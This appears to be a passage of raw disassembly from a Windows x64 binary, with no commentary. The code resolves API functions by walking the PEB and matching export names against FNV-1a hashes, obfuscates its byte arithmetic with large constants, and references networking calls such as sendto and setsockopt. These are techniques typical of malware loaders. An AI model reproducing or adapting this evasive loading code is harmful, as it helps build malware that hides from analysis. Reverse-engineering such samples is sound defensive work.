lea ebx, [rcx + r9]
sub bl, 8
jmp 0x1401ece70
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ecbf2
movabs rdx, 0x11790da7d4578e90
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ecde8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401ecc21
movabs rdx, 0xc0d002a3d25b8968
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401eccab
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401eca3a
movabs rdx, 0x7026f79fd05f8440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401ecada
mov byte [rbp + r11 + 0x1110], dl
mov bl, dl
jmp 0x1401ece7f
movabs rcx, 0xced4e197cc6779f0
add rcx, r11
mov al, cl
and al, r9b
mov r8d, Ordinal_60
sub r8b, al
add r8b, r8b
add r8b, byte [rbp + r11 + 0x1110]
add r8b, cl
add r8b, r9b
movabs rdx, 0x7aaa9ed6cbe878a6
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x1110], cl
mov bl, r8b
add rdi, r10
jmp 0x1401eccfc
movabs rdx, 0x26805c15cb69775c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x1110]
add bl, r9b
add bl, dl
jmp 0x1401ecde8
movabs rcx, 0x268d651eefa0d576
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401ece7f
movabs rcx, 0x1f8af5a4f29add32
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
jmp 0x1401ecdbc
movabs rcx, 0xc7df7b26f398dfc6
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6a
jmp 0x1401ecd96
movabs rdx, 0x703400a8f496e25a
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x76
add bl, dl
movabs rdx, 0x22ff2458cce67b3a
add rdx, r11
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x1110], cl
add r10, r12
jmp 0x1401ecdbc
movabs rdx, 0x118616b0f88eecaa
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r11, r12
jmp 0x1401ece7f
mov r9, r8
movabs rdx, 0xb2d82cb8fc86f6fa
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xd2561954caea7612
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7e
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1110], al
add r10, r12
add rax, r10
sub r11, rax
movabs rcx, 0x7e2bd693ca6b74c8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x78
add r9b, cl
mov byte [rbp + r11 + 0x1110], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1401ece70
movabs rdx, 0x38137bcfe82fc22
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1110]
add rax, r10
add r11, rax
add r11, r12
jmp 0x1401ec755
movabs rdx, 0x460b51babe04548e
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401ec752
movabs rdx, 0xee5fd73cbf025722
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401ec742
lea rdx, [rbp + 0x16b3358]
jmp 0x1401eceec
lea rdx, [rbp + 0x16c320e]
jmp 0x1401eceec
lea rdx, [rbp + 0x1110]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r15
mov rdx, qword [0x1404dbba8]
test rdx, rdx
jne 0x1401ed05d
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x1401ecf77
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r15d
jmp 0x1401ecf69
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401ecf58
cmp r9d, esi
jne 0x1401ed04e
mov rbx, qword [rcx + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401ed04e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401ed04e
mov edi, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rbx
mov r8d, r15d
jmp 0x1401ecfcb
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401ecfbe
cmp r8d, r14d
je 0x1401ecfe1
test r10d, r10d
jne 0x1401ecfab
jmp 0x1401ed04e
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x1401ed056
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401ed056
mov esi, r15d
mov r14d, r15d
jmp 0x1401ed01f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401ed011
jmp 0x1401ed034
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401ed027
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401ecf24
mov qword [0x1404dbba8], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
test rbx, rbx
jne 0x1401ed1cd
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ed0e4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401ed0d6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ed0c5
cmp r8d, esi
jne 0x1401ed1b1
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401ed1b1
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401ed1b1
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401ed138
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401ed12d
cmp edx, r14d
je 0x1401ed14e
test r9d, r9d
jne 0x1401ed118
jmp 0x1401ed1b1
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r11
cmp rbx, r10
jbe 0x1401ed1c6
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x1401ed1c6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401ed190
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401ed182
jmp 0x1401ed1a5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x1401ed198
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401ed1c3
cmp qword [rdi + 0x30], r13
jne 0x1401ed094
mov rbx, r13
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
test rdx, rdx
jne 0x1401ed343
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ed25a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401ed24c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ed23b
cmp r8d, esi
jne 0x1401ed327
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401ed327
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401ed327
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401ed2ae
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401ed2a3
cmp edx, r14d
je 0x1401ed2c4
test r9d, r9d
jne 0x1401ed28e
jmp 0x1401ed327
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1401ed33c
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401ed33c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401ed306
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401ed2f8
jmp 0x1401ed31b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401ed30e
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401ed339
cmp qword [rdi + 0x30], r13
jne 0x1401ed20a
mov rdx, r13
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
test rdx, rdx
jne 0x1401ed4b0
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ed3c7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401ed3b9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ed3a8
cmp r8d, esi
jne 0x1401ed494
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401ed494
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401ed494
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401ed41b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401ed410
cmp edx, r14d
je 0x1401ed431
test r9d, r9d
jne 0x1401ed3fb
jmp 0x1401ed494
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1401ed4a9
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401ed4a9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401ed473
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401ed465
jmp 0x1401ed488
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401ed47b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401ed4a6
cmp qword [rdi + 0x30], r13
jne 0x1401ed377
mov rdx, r13
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
test rdx, rdx
jne 0x1401ed61d
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ed534
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401ed526
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ed515
cmp r8d, esi
jne 0x1401ed601
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401ed601
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401ed601
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401ed588
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401ed57d
cmp edx, r14d
je 0x1401ed59e
test r9d, r9d
jne 0x1401ed568
jmp 0x1401ed601
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x1401ed616
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401ed616
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401ed5e0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401ed5d2
jmp 0x1401ed5f5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401ed5e8
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401ed613
cmp qword [rdi + 0x30], r13
jne 0x1401ed4e4
mov rdx, r13
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404dbbc8], r13
jne 0x1401ed789
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ed69e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401ed690
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ed67f
cmp r8d, esi
jne 0x1401ed76d
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401ed76d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401ed76d
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401ed6f2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401ed6e7
cmp edx, r14d
je 0x1401ed708
test r9d, r9d
jne 0x1401ed6d2
jmp 0x1401ed76d
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r11
cmp r9, r10
jbe 0x1401ed782
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1401ed782
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401ed74a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401ed73c
jmp 0x1401ed760
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x1401ed753
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401ed77f
cmp qword [rdi + 0x30], r13
jne 0x1401ed64e
mov r9, r13
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401ed7fe
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x1401ed7e6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ed7c7
cmp r8d, 0x610c0de3
je 0x1401ed84f
mov r9, qword [r9]
cmp r9, r10
je 0x1401ed7f4
cmp qword [r9 + 0x30], r13
jne 0x1401ed7ac
mov r8, r13
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x1401ed84a
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x1401ed82e
cmp ecx, 0xe463da3c
je 0x1401ed855
add r9d, r12d
jmp 0x1401ed812
mov r8, qword [r9 + 0x30]
jmp 0x1401ed7f7
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
test r10, r10
jne 0x1401ed9e5
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ed8f9
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401ed8eb
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ed8da
cmp r8d, esi
jne 0x1401ed9c9
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401ed9c9
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401ed9c9
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401ed94d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401ed942
cmp edx, r14d
je 0x1401ed963
test r9d, r9d
jne 0x1401ed92d
jmp 0x1401ed9c9
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401ed9de
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401ed9de
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401ed9bc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401ed998
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401ed9af
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401ed9db
cmp qword [rdi + 0x30], r13
jne 0x1401ed8a9
mov r10, r13
mov qword [0x1404dbbf8], r10
lea r9, [rbp + 0x11b4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
test r8, r8
jne 0x1401edb69
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eda7d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eda6f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eda5e
cmp r8d, esi
jne 0x1401edb4d
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x1401edb4d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401edb4d
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401edad1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401edac6
cmp edx, r14d
je 0x1401edae7
test r9d, r9d
jne 0x1401edab1
jmp 0x1401edb4d
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, r11
cmp r8, r10
jbe 0x1401edb62
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401edb62
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401edb40
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401edb1c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x1401edb33
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401edb5f
cmp qword [rdi + 0x30], r13
jne 0x1401eda2d
mov r8, r13
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [rbp + 0x1ca0]
call fcn.1400a2eb0
mov byte [rbp + 0x40], 0xfe
mov byte [rbp + 0x41], Ordinal_50
mov byte [rbp + 0x42], Ordinal_200
mov byte [rbp + 0x43], 0x33
mov byte [rbp + 0x44], 0x34
mov byte [rbp + 0x45], 0xa9
xor eax, eax
mov qword [rbp + 0x46], rax
mov word [rbp + 0x4e], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x1e3d3b18808e33ba
movabs r14, 0x79553d89c8c4782e
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r11d, eax
cmp r11, 0x10
jae 0x1401ee4a5
movzx r8d, byte [rbp + r11 + 0x40]
mov r9, r8
cmp rdi, r11
ja 0x1401ee49c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401edc37
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x16
jmp 0x1401edc71
je 0x1401ee420
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401ee39d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401ee367
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401ee33c
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401ee2ec
cmp r10, r11
ja 0x1401ee493
lea rax, [r10 + 0x42]
cmp rdi, rax
jae 0x1401edca5
movabs rcx, 0x7b05d9028baa3e42
add rcx, r11
mov al, r8b
and al, cl
mov edx, Ordinal_27
sub dl, al
add dl, dl
add dl, r8b
add dl, cl
jmp 0x1401edcdb
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401ee2db
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401ee2bb
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401ee2a7
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401ee281
mov dl, bl
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x1401edf35
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401edf14
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401edeee
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401edec8
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401edea5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401ede91
lea rdi, [r10 + 0x400]
lea r10, [rdi + 5]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401ee479
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401ee456
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401eddc8
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401ede79
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 4]
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x1401ede5f
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401ede3e
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1401ede1d
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401ede0f
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1401eddee
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401edce8
